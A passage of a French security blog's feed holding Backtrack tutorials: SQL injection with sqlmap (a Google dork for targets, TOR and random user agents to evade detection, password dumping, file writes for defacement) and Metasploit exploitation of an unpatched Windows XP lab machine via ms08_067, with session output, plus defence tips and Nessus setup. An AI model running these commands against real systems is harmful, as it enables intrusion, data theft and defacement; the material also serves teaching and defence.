<a href="https://encrypted.google.com/#hl=en&amp;sugexp=gsis%2Ci18n%3Dtrue&amp;cp=21&amp;gs_id=3&amp;xhr=t&amp;q=inurl:gallery.php%3Fid%3D&amp;pf=p&amp;sclient=psy-ab&amp;site=&amp;source=hp&amp;pbx=1&amp;oq=inurl:gallery.php%3Fid%3D&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=&amp;gs_upl=&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=d5bc1e92224c5138&amp;biw=1366&amp;bih=551">inurl:gallery.php?id=</a></p>
<p>Dans la plupart des cas, les sites Web sont faits à l&#8217;aide de CMS, ou alors codés entièrement à la main. Mais il arrive que ces CMS ne soit pas à jour, ou alors que le développeur web n&#8217;est pas pris soin de protéger les variables utilisées par les URL.</p>
<p>Lorsque le hacker va tomber sur une page de ce style, il va remplacer le 1 par un -53 par exemple, de manière à provoquer une erreur.</p>
<p>Si le message suivant apparaît, vous pouvez être sûrs qu&#8217;une injection SQL est possible :</p>
<p><strong>Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/users/site/html/gallery.php on line 248</strong></p>
<p>En fait, j&#8217;irai même plus loin en disant que si <strong>http://www.target.com/photos.php?id=1</strong> affiche la même chose que <strong>http://www.target.com/photos.php?id=1+AND+1=1</strong> ou/et que <strong>http://www.target.com/photos.php?id=1+AND+1=2</strong> diffère de la 1ère page, il y a vulnérabilité.</p>
<p>Avec la distribution Backtrack, voyons maintenant ce que l&#8217;on peut faire. L&#8217;excellent outil &laquo;&nbsp;SQLmap&nbsp;&raquo; nous permettra de réaliser tous les tests nécessaire pour une injection SQL.</p>
<p>Je vais vous montrer quelques commandes (je n&#8217;invente rien, j&#8217;ai juste lu la doc <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</p>
<p>Note : Dans toutes mes commandes, j&#8217;utilise TOR pour rester anonyme, ainsi qu&#8217;un générateur d&#8217;USER-AGENT pour que le serveur web distant ne détecte pas de requêtes HTTP provenant d&#8217;un certain &laquo;&nbsp;SQLmap&nbsp;&raquo;.</p>
<p>Pour exécuter ces commandes, il faut avant se rendre dans le répertoire <strong>/pentest/database/sqlmap</strong>. Il faut également remplacer quand c&#8217;est le cas dans mes commandes $url par l&#8217;URL du site, $db par le nom de la base de données, $table par le nom de la table, $column par le nom de la colonne et $sql par la requête SQL voulue.</p>
<p>Auditer si l&#8217;URL est vulnérable :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent</strong></p>
<p>Si le site est vulnérable, il vous le dira explicitement.</p>
<p>C&#8217;est le cas pour notre exemple, passons à la suite.</p>
<p>Lister les privilèges SQL avec l&#8217;injection SQL :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;privileges</strong></p>
<p>Lister les bases de données :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;dbs</strong></p>
<p>Indiquer le nom de la base de données où l&#8217;injection SQL se fait :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;current-db</strong></p>
<p>Montrer les mots de passe d&#8217;accès à la base de données :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;passwords</strong></p>
<p>Lister les tables sur 5 threads (plus rapide) :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;tables -D $db &#8211;threads=&nbsp;&raquo;5&#8243;</strong></p>
<p>Lister les colonnes :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;columns -D $bdd -T $tables</strong></p>
<p>Dumper le contenu d&#8217;une table :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;dump -D $db -T $table &#8211;threads=&nbsp;&raquo;5&#8243;</strong></p>
<p>Exécuter une requête SQL :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;sql-query=&nbsp;&raquo;$sql&nbsp;&raquo; -D $db</strong></p>
<p>Si vraiment le serveur est mal configuré, il est aussi possible d&#8217;écrire un fichier (utilisé lors de defacements) :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;file-write=$file &#8211;file-dest /var/www/public_html/</strong></p>
<p>SQLmap s&#8217;utilise aussi avec Metasploit :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p382code4'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3824"><td class="code" id="p382code4"><pre class="bash" style="font-family:monospace;">$ msfconsole
&nbsp;
                <span style="color: #666666; font-style: italic;">##                          ###           ##    ##</span>
 <span style="color: #666666; font-style: italic;">##  ##  #### ###### ####  #####   #####    ##    ####        ######</span>
<span style="color: #666666; font-style: italic;">####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##</span>
<span style="color: #666666; font-style: italic;">####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##</span>
<span style="color: #666666; font-style: italic;">## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##</span>
<span style="color: #666666; font-style: italic;">##   ##  #### ###   #####   #####     ##   ####   ####   #### ###</span>
                                      <span style="color: #666666; font-style: italic;">##</span>
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&amp;</span>gt; use auxiliary<span style="color: #000000; font-weight: bold;">/</span>scanner<span style="color: #000000; font-weight: bold;">/</span>http<span style="color: #000000; font-weight: bold;">/</span>sqlmap
msf auxiliary<span style="color: #7a0874; font-weight: bold;">&#40;</span>sqlmap<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">set</span> RHOSTS <span style="color: #7a0874; font-weight: bold;">&#91;</span>TARGET HOST RANGE<span style="color: #7a0874; font-weight: bold;">&#93;</span>
msf auxiliary<span style="color: #7a0874; font-weight: bold;">&#40;</span>sqlmap<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; run</pre></td></tr></table></div>

<p>Vous l&#8217;aurez compris, cet outil est hyper puissant, d&#8217;ailleurs j&#8217;insiste sur le fait que pour obtenir de meilleurs résultats, il est important de le mettre à jour régulièrement avec l&#8217;option &#8211;update.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Impact</strong></span></li>
</ul>
<p>Quel impact d&#8217;une telle attaque ?<br />
La liste peut être longue, mais je vais faire court :</p>
<p>- compromission d&#8217;une partie ou d&#8217;une entière base de données, qui peut contenir des informations précieuses : logins, mots de passe, e-mails, coordonnées bancaires, etc.<br />
- compromission d&#8217;autres bases de données quand un seul utilisateur existe pour 150 bases de données (sisi je vous jure, ça existe).<br />
- compromission des données du serveur Web (on a vu qu&#8217;on pouvait dans certains cas écrire sur le serveur).</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Se protéger</strong></span></li>
</ul>
<p>Il existe à chaque niveau des moyens pour se protéger contre les injections SQL.</p>
<p>Je vais partir des couches basses pour remonter peu à peu :</p>
<p>- Installer un équipement de détection d&#8217;intrusion de type IDS et mettre régulièrement à jour la base de données qui contient les &laquo;&nbsp;exploits&nbsp;&raquo; connus.<br />
- Installer un SGBDR connu, et le mettre à jour très régulièrement. Par exemple, MySQL est très performant, mais nécessite toutefois d&#8217;être mis-à-jour souvent.<br />
- Utiliser au mieux toutes les fonctionnalités des bases de données : pour chaque site par exemple, créer sa base de données, son utilisateur SQL, avec un minimum de droits. Bien entendu, le concept d&#8217;un seul utilisateur avec tous les droits partout est à proscrire !!!<br />
- Utiliser un serveur Web reconnu et le mettre à jour souvent. Apache est très bien reconnu dans le domaine.<br />
- Enfin, il est plus qu&#8217;obligatoire de protéger toutes les variables utilisées.</p>
<p>Exemple : <strong>$id = mysql_real_escape_string($_POST['id']);</strong></p>
<p>Dans ce domaine, voici un <a href="http://php.net/manual/en/security.database.sql-injection.php">lien très intéressant</a>. Si vous n&#8217;y connaissez rien, utiliser un CMS bien reconnu, et mettez-le à jour dès que possible ! (WordPress par exemple)</p>
<p><strong>En résumé : utiliser des outils connus et les mettre à jour régulièrement.</strong></p>
<p>En conclusion, SQL est un langage surpuissant, qui demande beaucoup de connaissances. Négliger la sécurité dans les couches hautes, peut compromettre tout le reste. Imaginer le pire : intrusion sur un serveur web via injection SQL, accès à d&#8217;autres serveurs via une connexion de pont, dump de toutes les bases de données, defacement de sites web&#8230;</p>
<p>Aujourd&#8217;hui, les injections SQL sont les vulnérabilités les plus utilisées sur le Web.<br />
A bon entendeur&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-injections-sql/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Exploitation de faille</title>
		<link>http://my1.fr/blog/backtrack-exploitation-de-faille/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-exploitation-de-faille</link>
		<comments>http://my1.fr/blog/backtrack-exploitation-de-faille/#comments</comments>
		<pubDate>Mon, 05 Sep 2011 14:07:11 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=360</guid>
		<description><![CDATA[Nous continuons la série d’articles consacrés à Backtrack. L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système. Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites [...]]]></description>
			<content:encoded><![CDATA[<p>Nous continuons la série d’articles consacrés à Backtrack.</p>
<p>L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système.<br />
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.</p>
<p>Comme il existe beaucoup de types de failles, et énormément de méthodes, je m&#8217;arrêterai sur un cas général, en appliquant une technique &laquo;&nbsp;classique&nbsp;&raquo;.</p>
<p>Après avoir collecté un tas d&#8217;informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d&#8217;exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu&#8217;elle utilise ce service, mais parce que l&#8217;administrateur de la machine n&#8217;a pas pris le temps de mettre à jour régulièrement son système d&#8217;exploitation via Windows Update, ainsi que l&#8217;antivirus</p>
<p>Sachez que les tests réalisés en réseau local ont été effectué avec l&#8217;antivirus Avira Antivir (ainsi qu&#8217;une base de données antivirale de moins d&#8217;un an), sur un Windows XP SP3 sans mises à jour récentes.</p>
<p>Vous serez surpris de voir qu&#8217;il existe énormément d&#8217;ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).</p>
<p>Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).</p>
<p>Sa base de données contient tous les <em>exploits</em> / <em>payloads</em> connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande &laquo;&nbsp;<strong>msfupdate</strong>&laquo;&nbsp;.</p>
<p>Dans un terminal, démarrez l&#8217;outil &laquo;&nbsp;<strong>msfconsole</strong>&laquo;&nbsp;.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code10'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36010"><td class="code" id="p360code10"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>root:~<span style="color: #666666; font-style: italic;"># msfconsole</span>
&nbsp;
_
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>      o
_  _  _    _ _<span style="color: #000000; font-weight: bold;">|</span>_  __,   ,    _  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  __    _<span style="color: #000000; font-weight: bold;">|</span>_
<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span> \_<span style="color: #000000; font-weight: bold;">|/</span> \_<span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">/</span>  \_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>
<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>__<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>\_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span> \<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span>\__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">/|</span>
\<span style="color: #000000; font-weight: bold;">|</span>
&nbsp;
=<span style="color: #7a0874; font-weight: bold;">&#91;</span> metasploit v3.7.0-release <span style="color: #7a0874; font-weight: bold;">&#91;</span>core:<span style="color: #000000;">3.7</span> api:<span style="color: #000000;">1.0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">684</span> exploits - <span style="color: #000000;">355</span> auxiliary
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">217</span> payloads - <span style="color: #000000;">27</span> encoders - <span style="color: #000000;">8</span> nops
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p>Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l&#8217;importer dans une base de données SQL :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code11'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36011"><td class="code" id="p360code11"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.129
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.132
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus</pre></td></tr></table></div>

<p>MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.</p>
<p>Nous allons lancer une commande qui va automatiquement exploiter l&#8217;un des failles disponibles afin d&#8217;obtenir une session avec la machine distante. Admirez le travail :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code12'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36012"><td class="code" id="p360code12"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_autopwn <span style="color: #660033;">-x</span> <span style="color: #660033;">-e</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms08_067_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms06_040_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>psexec against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">3</span> launched modules to finish execution...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Meterpreter session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> at <span style="color: #000000;">2011</span>-09-05 09:<span style="color: #000000;">40</span>:<span style="color: #000000;">24</span> <span style="color: #660033;">-0400</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">1</span> launched modules to finish execution...</pre></td></tr></table></div>

<p>0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l&#8217;exploit ms08_067_netapi pour pénétrer le système.<br />
Pour retrouver une session ouverte, il suffit d&#8217;exécuter cette commande :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code13'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36013"><td class="code" id="p360code13"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> sessions <span style="color: #660033;">-l</span>
&nbsp;
Active sessions
===============
&nbsp;
  Id  Type                   Information                           Connection
  <span style="color: #660033;">--</span>  <span style="color: #660033;">----</span>                   <span style="color: #660033;">-----------</span>                           <span style="color: #660033;">----------</span>
  <span style="color: #000000;">1</span>   meterpreter x86<span style="color: #000000; font-weight: bold;">/</span>win32  AUTORITE NT\SYSTEM <span style="color: #000000; font-weight: bold;">@</span> VICTIME-484AF1D  192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span></pre></td></tr></table></div>

<p>Et maintenant ?</p>
<p>Maintenant passons aux vilaines choses.<br />
Pour obtenir le shell d&#8217;une session ouverte, il suffit de l’appeler par son ID :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code14'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36014"><td class="code" id="p360code14"><pre class="bash" style="font-family:monospace;">session <span style="color: #660033;">-i</span> <span style="color: #000000;">1</span></pre></td></tr></table></div>

<p>Ensuite, la commande &laquo;&nbsp;<strong>help</strong>&nbsp;&raquo; vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d&#8217;écran, enregistrer les touches du clavier utilisées et encore plein d&#8217;autres trucs, dont des tâches administratives.</p>
<p>Cependant, un hacker ayant obtenu le shell d&#8217;un système essaye dans la plupart des cas de rester discret.<br />
Dans le prochain article, nous allons voir comment installer un &laquo;&nbsp;backdoor&nbsp;&raquo; afin de pouvoir revenir plus tard sur le système sans exploiter de faille.<br />
Ah oui, j&#8217;oubliais. Backtrack fournit une excellente interface graphique à MSF : &laquo;&nbsp;<strong>Armitage</strong>&laquo;&nbsp;.</p>
<p>Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d&#8217;attaque. Un antivirus à jour, un pare-feu bien configuré, un système d&#8217;exploitation récent et à jour suffiront à éviter ce genre d&#8217;exploitation.</p>
<p>Aujourd&#8217;hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d&#8217;injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-exploitation-de-faille/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Evaluation de vulnérabilité</title>
		<link>http://my1.fr/blog/backtrack-evaluation-de-vulnerabilite/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-evaluation-de-vulnerabilite</link>
		<comments>http://my1.fr/blog/backtrack-evaluation-de-vulnerabilite/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 14:58:17 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[planete-libre]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=322</guid>
		<description><![CDATA[&#160; Nous continuons la série d&#8217;articles consacrés à Backtrack. Rappelons en quelques mots les objectifs de ces quelques articles. Après avoir testé la distribution pendant quelques semaines, j&#8217;ai jugé sympa de partager quelques ressources. Chaque première partie d&#8217;un article permet de comprendre comment les pirates informatiques font pour pénétrer un système et pour obtenir des [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://my1.fr/blog/wp-content/uploads/2011/08/backtrack-html.001.png"><img class="aligncenter" title="Backtrack" src="http://my1.fr/blog/wp-content/uploads/2011/08/backtrack-html.001-300x225.png" alt="" width="300" height="225" /></a></p>
<p>&nbsp;</p>
<p>Nous continuons la série d&#8217;articles consacrés à Backtrack.</p>
<p>Rappelons en quelques mots les objectifs de ces quelques articles. Après avoir testé la distribution pendant quelques semaines, j&#8217;ai jugé sympa de partager quelques ressources. Chaque première partie d&#8217;un article permet de comprendre comment les pirates informatiques font pour pénétrer un système et pour obtenir des informations précieuses. La deuxième partie quant à elle explique comment éviter ce genre d&#8217;attaque, et donnes quelques indications sur la manière de protéger un réseau et un système.</p>
<p>&nbsp;</p>
<p>Nous avons vu ensemble comment se déroulait la 1ère étape : la <a title="La collecte d'informations" href="http://my1.fr/blog/backtrack-collecte-d-informations/" target="_blank">collecte d&#8217;informations</a>.</p>
<p>Clairement, cette partie nous a fait comprendre comment identifier la cible :</p>
<ul>
<li>Son matériel (si possible)</li>
<li>Son système d&#8217;exploitation (et si possible sa version)</li>
<li>Ses services (si possible avec leur version)</li>
<li>Pour les applications Web : leur langage de programmation</li>
<li>Pour les bases de données : leur système de gestion de base de données</li>
</ul>
<p>Ces informations recueillies ne sont pas perdues, bien au contraire. Nous allons maintenant les passer en revue pour détecter la moindre faille qui pourrait être exploitable par la suite.</p>
<p>&nbsp;</p>
<h2>Les moyens engagés pour détecter les vulnérabilités</h2>
<p>&nbsp;</p>
<ul>
<li><strong>Scanner de vulnérabilité</strong></li>
</ul>
<p style="padding-left: 60px;">- <strong>Nessus</strong> : Nous l&#8217;avions dit dans l&#8217;introduction consacrée à la distribution Backtrack, il est  incontournable dans le monde de la sécurité.</p>
<p style="padding-left: 60px;">Avant toute chose, il est nécessaire d&#8217;obtenir une clé de licence (gratuite). Une fois reçue dans votre boite mail, exécutez la commande suivante :</p>
<pre style="padding-left: 60px;" lang="bash">sudo /opt/nessus/bin/nessus-fetch --register xxxx-xxxx-xxxx-xxxx-xxxx
sudo /opt/nessus/bin/nessus-fetch --security-center</pre>
<p style="padding-left: 60px;">Il faut maintenant créer un utilisateur interne au logiciel avec lequel vous vous loguerez pour faire des audits :</p>
<pre style="padding-left: 60px;" lang="bash">sudo /opt/nessus/sbin/nessus-adduser</pre>
